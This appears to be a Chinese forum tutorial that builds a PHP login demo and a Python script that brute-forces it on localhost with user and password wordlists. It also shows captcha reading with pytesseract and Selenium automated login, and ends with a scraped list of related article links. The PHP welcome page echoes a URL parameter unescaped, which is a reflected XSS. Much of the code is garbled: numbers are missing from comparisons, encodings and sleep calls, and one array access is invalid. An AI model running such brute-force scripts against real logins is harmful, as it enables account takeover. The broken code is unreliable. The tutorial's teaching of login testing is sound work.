前言

本文首发i春秋论坛。

本篇文章主要分享一个python暴破脚本,该脚本采用optparse模块,支持自定义字典位置;用了多线程(虽然我感觉和单线程速度差不多。。是我的错觉还是线程写的不对。。求表哥们指教)。

一、PHP安全编程
这篇文章暴破的目标是自己写的一个简单demo,php写的,用了PDO预编译预防SQLI,用了htmlspecialchars简单防御xss,源码放出来:
数据库配置文件(dbname:pybp;table:pybp_table;column:username,passwd)Con_self.php:

    <?php
$pdo = new PDO('mysql:host=localhost;dbname=pybp', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo->exec("set names 'utf8'");
?>

登录处文件login_self.php:

    <?php
include('con_self.php');
?>
<form action='' method='POST' name='form1'>
user: <input type='text' name='username'><br>
passwd:<input type='text' name='passwd'><br>
<input type='submit' value='login' name='login'>
<input type='submit' value='add' name='add'>
</form>
<?php
if(isset($_POST['add'])){
$username = htmlspecialchars($_POST['username']);
$passwd = htmlspecialchars($_POST['passwd']);
$sm = $pdo->prepare("insert into pybp_table(username,passwd) values(?,?)");
$sm->execute(array($username,md5($passwd)));
}
if(isset($_POST['login'])){
$username = htmlspecialchars($_POST['username']);
$passwd = htmlspecialchars($_POST['passwd']);
$smt = $pdo->prepare("select * from pybp_table");
$smt->execute(array());
$result = $smt->fetchAll();
if($username===$result[]['username']&&md5($passwd)===$result[]['passwd']){
header("Location:/pybp_pdo/welcome_self.php"."?user=".$username);
}
else{
echo 'login fail';
}
}
?>

以及登录认证成功后跳转的welcome.php:

    <html>
<p>welcome <?php echo $_GET['user'];?></p>
<html>

有关于csrf防御,参见http://bbs.ichunqiu.com/thread-15186-1-1.html,就不赘述了。
Ok,看看界面:


然后咱们就试试爆破这个登陆界面了

二、python登陆暴破
py脚本原版先放出来:

    #coding: utf-
#author: xiaoye
import requests if __name__ == '__main__':
data = {}
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'}
url = 'http://localhost/pybp_pdo/login_self.php'
#data = {'username':'admin','passwd':'admin','login':'login'}
userlist = [x.strip('\n') for x in open('pybp_self_user.txt').readlines()]
#print userlist
passwdlist = [x.strip('\n') for x in open('pybp_self_passwd.txt').readlines()]
#print passwdlist
for user in userlist:
for passwd in passwdlist:
data['username'] = user
data['passwd'] = passwd
data['login'] = 'login'
print data
r = requests.post(url,data=data,headers=headers)
if r.status_code == :
if r.content.find('welcome') != -:
print 'user:%s, passwd:%s' % (user,passwd)
exit()
data.clear()

运行截图:

整个程序用列表生成式,获取了user 、passwd两个字典的全部内容,并且将它们组合为dict形式,用requests.post去一一模拟登陆,并从返回的页面源码中提取响应的关键字来判断是否已经登陆成功。

基本的思想就是这样,但是前面的这个程序很死,连字典位置都不能自定义,速度有点慢(这个其实正常,两个只含有10个词字典,10*10的话,就要爆破100次,而且requests的速度还受网络的限制)

改善版:

optparse自定义字典位置(多线程出了点问题,我改完后放出来):

    #coding: utf-
#author: xiaoye
import requests
from optparse import OptionParser if __name__ == '__main__':
parse = OptionParser()
parse.add_option('-u','--u',dest='userfile',type='string',help='specify user file')
parse.add_option('-p','--p',dest='passfile',type='string',help='specify passwd file')
option,args = parse.parse_args()
data = {}
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'}
url = 'http://localhost/pybp_pdo/login_self.php'
#data = {'username':'admin','passwd':'admin','login':'login'}
userlist = [x.strip('\n') for x in open(option.userfile).readlines()]
#print userlist
passwdlist = [x.strip('\n') for x in open(option.passfile).readlines()]
#print passwdlist
for user in userlist:
for passwd in passwdlist:
data['username'] = user
data['passwd'] = passwd
data['login'] = 'login'
print data
r = requests.post(url,data=data,headers=headers)
if r.status_code == :
if r.content.find('welcome') != -:
print 'user:%s, passwd:%s' % (user,passwd)
exit()
data.clear()

看运行gif:

Optparse模块还是挺好用的,命令行参数用着方便些

关于爆破,有个坑得说一说,验证码
关于验证码识别,我常用的是tesseract-ocr,效果还行吧,对中文的识别比较蛋疼。。。。。。
从csdn截了个验证码,试试看效果:

效果还可以
对于python这种轮子众多的语言来讲,也有自己处理验证码的模块,pytesseract (依赖于tesseract&&PIL)
用法如下:

#coding: utf-
import pytesseract
import PIL
image = PIL.Image.open('v2code.png')
v = pytesseract.image_to_string(image)
print v

效果:

遇见有验证码的登陆窗口,我们可以向上面的小程序用python做简单处理

三、小彩蛋
这次小彩蛋挺有意思的,介绍了python
selenium,有关于selenium,光是安装就是个大坑,可以试着去踩踩~。。。。。。tips:selenium
启动不了过高版本firefox,要安装引擎文件;默认selenium操作firefox会打开一个初始的,没有任何插件的火狐浏览器,这时候可以指明firefox
profile,启动我们日常用的浏览器(安装一下就知道我说的意思了。。)

代码:(自动化打开firefox,打开csdn登陆界面,自动化输入用户名/密码登陆)
截图工具崩了。。借个网上的图来看看情况http://img.blog.csdn.net/20150821031951877
下面代码运行情况和这个情况差不多,全程是不需要人手工点击的,自动化完成,自动化登录csdn源码如下:

    from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import re profile_dir = r"C:\Users\xiaoye\AppData\Roaming\Mozilla\Firefox\Profiles\3xhizvy7.default"
profile = webdriver.FirefoxProfile(profile_dir)
driver = webdriver.Firefox(profile)
driver.get("https://passport.csdn.net/account/login?from=http://my.csdn.net/my/mycsdn")
elem_user = driver.find_element_by_name("username")
elem_user.send_keys("your username")
elem_pwd = driver.find_element_by_name("password")
time.sleep()
elem_pwd.send_keys("your passwd")
elem_pwd.send_keys(Keys.RETURN)
time.sleep()
assert "baidu" in driver.title
driver.close()
driver.quit()

其中,profile_dir是火狐的配置文件地址,每个人都不一样
your username是你的用户名,passwd是你的密码
运行之后,就自动化操作了
为啥python爆破会讲到这个呢?。。自动化能不能爆破呢?当然可以,下次有时间试试吧
Selenium经常应用在自动化测试以及爬虫上,普通静态页面抓取一般只需要三个模块:re正则模块  bs4解析模块 requests请求模块;但是对于像ajax动态生成的页面,selenium是个不错的选择。

php安全编程&python测试实例编写的更多相关文章

  1. 用 Python 测试框架简化测试

    用 Python 测试框架简化测试 摘要:本文将向您介绍了三种流行 Python 测试框架(zope.testing,py.test,nose)的基本特性,并讨论新一代的测试风格. 最近出现了行业级的 ...

  2. python实例编写(6)--引入unittest测试框架,构造测试集批量测试(以微信统一管理平台为例)

    ---恢复内容开始--- 一.python单元测试实例介绍 unittest框架又叫PyUnit框架,是python的单元测试框架. 先介绍一个普通的单元测试(不用unittest框架)的实例: 首先 ...

  3. spark编程python实例

    spark编程python实例 ValueError: Cannot run multiple SparkContexts at once; existing SparkContext(app=PyS ...

  4. python测试mysql写入性能完整实例

    这篇文章主要介绍了python测试mysql写入性能完整实例,具有一定借鉴价值,需要的朋友可以参考下 本文主要研究的是python测试mysql写入性能,分享了一则完整代码,具体介绍如下. 测试环境: ...

  5. Python测试 ——开发工具库

    Web UI测试自动化 splinter - web UI测试工具,基于selnium封装. selenium - web UI自动化测试. mechanize- Python中有状态的程序化Web浏 ...

  6. python测试开发工具库汇总(转载)

    Web UI测试自动化 splinter - web UI测试工具,基于selnium封装. selenium - web UI自动化测试. mechanize- Python中有状态的程序化Web浏 ...

  7. python基础——实例属性和类属性

    python基础——实例属性和类属性 由于Python是动态语言,根据类创建的实例可以任意绑定属性. 给实例绑定属性的方法是通过实例变量,或者通过self变量: class Student(objec ...

  8. 从零使用Python测试。Testing Using Python.

    0. 写在前面 本人使用Python测试已有多年,略有些皮毛经验.每次有新员工入职,都会从头教一遍如何入门上手使用Python进行测试.趁这段有空,整理成文档,也好方便后续新员工学习.文章如有不妥之处 ...

  9. python测试框架&&数据生成&&工具最全资源汇总

    xUnit frameworks 单元测试框架frameworks 框架unittest - python自带的单元测试库,开箱即用unittest2 - 加强版的单元测试框架,适用于Python 2 ...

随机推荐

  1. intel xeon家族介绍

    Xeon - Intel   < intel Xeon Past and current logos         Developer Intel Manufacturer Intel Typ ...

  2. 记一次Struts2 内核问题分析解决

    问题场景描述 生产环境某个处理耗时比较长的接口,吞吐能力极差.客服反馈此功能长期处于毫无响应状态. 具体表现 系统启动后第一次调用耗时极慢,长时间不响应.紧随之后发起的请求也同时没有响应. 等待第一次 ...

  3. 20165213 周启航Exp2 后门原理与实践

    Exp2 后门原理与实践 实验内容 任务一 使用netcat获取主机操作Shell,cron启动 1.确认kali和主机的ip,关闭防火墙 (192.169.127.132) (10.1.1.197) ...

  4. Sublime Text 3安装emmet(ZenCoding)

    1.安装 Package Ctrol: 使用 ctrl + - 打开控制台,输入以下代码 import urllib.request,os; pf = 'Package Control.sublime ...

  5. 前端页面播放 rtmp 流与 flv 格式视频文件

    技术 :angular/cli , html5 , typescript , scss ,es 6 ... 项目类型:直播视频与视频回放 使用到 插件 : videojs + ckplayer 遇到的 ...

  6. json解析Object

    最近的工作是在数据库使用myBaties查出的数据没有实体, 比如: <select id="allTree" parameterType="String" ...

  7. 89、instancetype和id的区别

    1>instancetype在类型表示上,跟id一样,可以表示任何对象类型 2>instancetype只能用在返回值类型上,不能像id一样用在参数类型上 3>instancetyp ...

  8. find 查询文件,执行文件

    使用find查询文件批量处理文件: Find . -mtime +2 -name “*.log.*” -exec rm -f {} \; Find参数: Find : 查找 . : 当前目录 -mti ...

  9. affiliate的使用方式

    什么是affiliate https://www.zhihu.com/question/24262490 通俗的理解就是,我们寻找合作伙伴,让合作伙伴帮忙做宣传,我们会根据他们的宣传力度发放相关的奖励 ...

  10. java+phantomjs实现动态网页抓取

    1.下载地址:http://phantomjs.org/download.html 2.java代码 public void getHtml(String url) { HTML="&quo ...